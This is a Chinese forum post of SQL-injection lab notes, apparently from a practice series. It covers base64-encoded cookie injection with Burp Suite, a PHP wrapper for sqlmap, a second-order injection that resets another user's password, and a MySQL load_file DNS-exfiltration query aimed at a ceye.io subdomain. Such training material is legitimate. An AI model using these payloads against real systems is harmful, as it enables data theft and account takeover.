搜索

[1968] 2021-07-27_sql注入_mysql_day09

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-16
2021-07-27_sql注入_mysql_day09 s q l 注 入 _ m y s q l _ d a y 0 9 原 创   一 步 一 个 脚 印   D e m 0   2 0 2 1 - 0 7 - 2 7 s q l i 的 2 1 关 : 关 于 加 密 的 注 入                 首 先 我 们 进 入 靶 场   输 入   a d m i n   a d m i n     使 用 b u r p s u i t e 进 行 抓 包   可 以 看 到 返 回 的 包   内   有 c o o k i e 这 一 项 在 这 里 选 择 b a s e 6 4 加 密   将 c o o k i e 的 值 换 成   加 密 后 的
此 处 爆 出 当 前 数 据 库 实 战 中 就 是   先 将 要 注 入 的 语 句 进 行 加 密   然 后 在 进 行 注 入   ! ! ! 这 里 举 一 个   例 子   比 如   s h 视 频 的 地 址 一 看 到 = =   就 感 觉 像 是 b a s e 6 4 加 密   通 过   b u r p s u i t e 自 带 的 软 件 进 行 解 密
可 以 自 己 写 一 个 p h p 脚 本   在 本 地 端   < ? p h p $ u r l = ' ' ; $ p a y l o a d = b a s e 6 4 _ e n c o d e   ( $ _ G E T [ ' x ' ] ) ; f i l e _ g e t _ c o n t e n t s ( $ u r l + $ p a y l o a d ) ; ? > 然 后 通 过 s q l m a p 跑     s q l 注 入 之 : 二 次 注 入 在 s q l 注 入 中   难 免 会 遇 到   a d d s l a s h e s 函 数   或 者   g e t _ m a g i c _ q u o t e s _ g p c 过 滤     会 加 上 一 些 转 义   但 是 在 真 正 带 入 数 据 库 进 行 查 询 的 时 候   还 是 原 来 的 s q l 恶 意 语 句   ( 不 是 带 着 转 义 字 符 的 )   这 总 s q l 语 句 在 开 发 者 看 来   就 是 安 全 的   过 滤 过 得     在 下 一 次 进 行 查 询 的 时 候 ( 其 他 任 务 ) 直 接 将 这 总 恶 意 语 句 带 入 查 询   形 成 二 次 s q l 注 入 e x a m p l e : 比 如 我 们 在 用 户 注 册 的 时 候   注 册 用 户   a d m i n '   a n d   1 = 1     ( 注 意 : 其 中 的 a n d   1 = 1   可 以 换 成 任 意   s q l 注 入 的 恶 意 代 码   形 成 一 个 类 似 定
时 炸 弹 的 东 西   , ) 得 知 数 据 库 里 面 有 一 个 用 户 名 为 a 1 的 用 户   这 里 创 建 用 户 a 1 ' #     进 行 登 陆
更 改 密 码 发 现 a 1 的 密 码 被 更 改 了   为 啥 呢 ? 这 里 打 开 网 站 源 代 码   发 现   原 来 用 户 是 a 1   注 册 的 用 户 是 a ' #   , 注 册 的 时 候 没 问 题   因 为 :
  但 是 在 更 改 密 码 的 时 候 发 现 注 册 的 时 候 留 下 的 定 时 炸 弹   用 户 名 a 1 ' #   相 当 于 用 了   单 引 号 进 行 闭 合   '       然 后   加 上 #   注 释 掉 了 后 边 的   代 码     那 么 这 条 u p d a t e 语 句 就 变 成 了   更 改   a 1 的 , 密 码 了     关 于   登 陆 的 时 候 限 制 你 输 入 的 字 符 数 量 的   有 两 种 方 式   一 种 前 端 限 制   可 以 通 过   f 1 2 更 改   i n p u t   标 签 里 面 的 m a x l e n g t h   属 性 进 行 绕 过   如 果 是 后 端   没 招   放 弃 吧 ! ! ! 更 改 ! !
    d n s 注 入 : 原 因 就 是 :   盲 注 跑 数 据 跑 的 太 慢 了   把 靶 机 的 d n s 指 定 为 我 们 的 网 站 域 名   通 过   递 归 查 询 就 可 以 获 取 数 据 库 上 面 的 信 息 了 首 先   利 用 别 人 的 服 务 器 u r l 为 h t t p : / / c e y e . i o / 复 制 一 下 自 己 的     域 名     手 工 注 入 的 话   直 接 用 这 个   在 m y s q l 下   指 定 格 式 s e l e c t   l o a d _ f i l e ( c o n c a t ( " " , ( s e l e c t   v e r s i o n ( ) ) , " . u k g z 0 p . c e y e . i o a a a " ) ) ; 在 q u e r y 就 能 查 询 到 v e r s i o n

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理